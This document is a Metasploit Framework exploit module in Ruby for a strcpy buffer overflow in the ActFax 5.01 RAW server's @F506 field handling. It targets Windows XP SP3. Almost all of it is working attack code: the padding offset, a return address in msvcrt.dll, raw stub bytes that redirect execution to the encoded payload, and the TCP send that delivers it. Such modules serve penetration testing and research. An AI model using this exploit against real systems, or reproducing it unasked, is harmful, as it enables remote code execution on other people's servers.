ActFax 5.01 RAW Server Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'ActFax 5.01 RAW Server Buffer Overflow',
			'Description'	=> %q{
					This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
				Server can be used to transfer fax messages without any underlying protocols. To
				note significant fields in the fax being transferred, like the fax number or the
				recipient, ActFax data fields can be used. This module exploits a buffer overflow
				in the handling of the @F506 fields due to the insecure usage of strcpy. This
				module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'Craig Freyman', # @cd1zz # discovery and Metasploit module
					'corelanc0d3r', # Metasploit module
					'juan vazquez' # Metasploit module cleanup
				],
			'References'	=>
				[
					[ 'OSVDB', '89944' ],
					[ 'BID', '57789' ],
					[ 'EDB', '24467' ],
					[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
				],
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",
					'DisableNops' => true,
					'Space' => 1024,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX'
						}
				},
			'Targets'		 =>
				[
					[ 'ActFax 5.01 / Windows XP SP3',
						{
							'Ret'   	=>	0x77c35459, # push esp # ret # msvcrt.dll
							'Offset'	=>	1024
						}
					],
				],
			'Privileged'	 => false,
			'DisclosureDate' => 'Feb 5 2013',
			'DefaultTarget'	 => 0))

	end

	def exploit
		connect
		p = payload.encoded
		buffer = p
		buffer << rand_text(target['Offset'] - p.length)
		buffer << [target.ret].pack("V")
		buffer << "\x89\xe1" # mov ecx, esp
		buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028
		buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500
		buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042
		print_status("Trying target #{target.name}...")
		sock.put("@F506 "+buffer+"@\r\n\r\n")
		disconnect
	end
end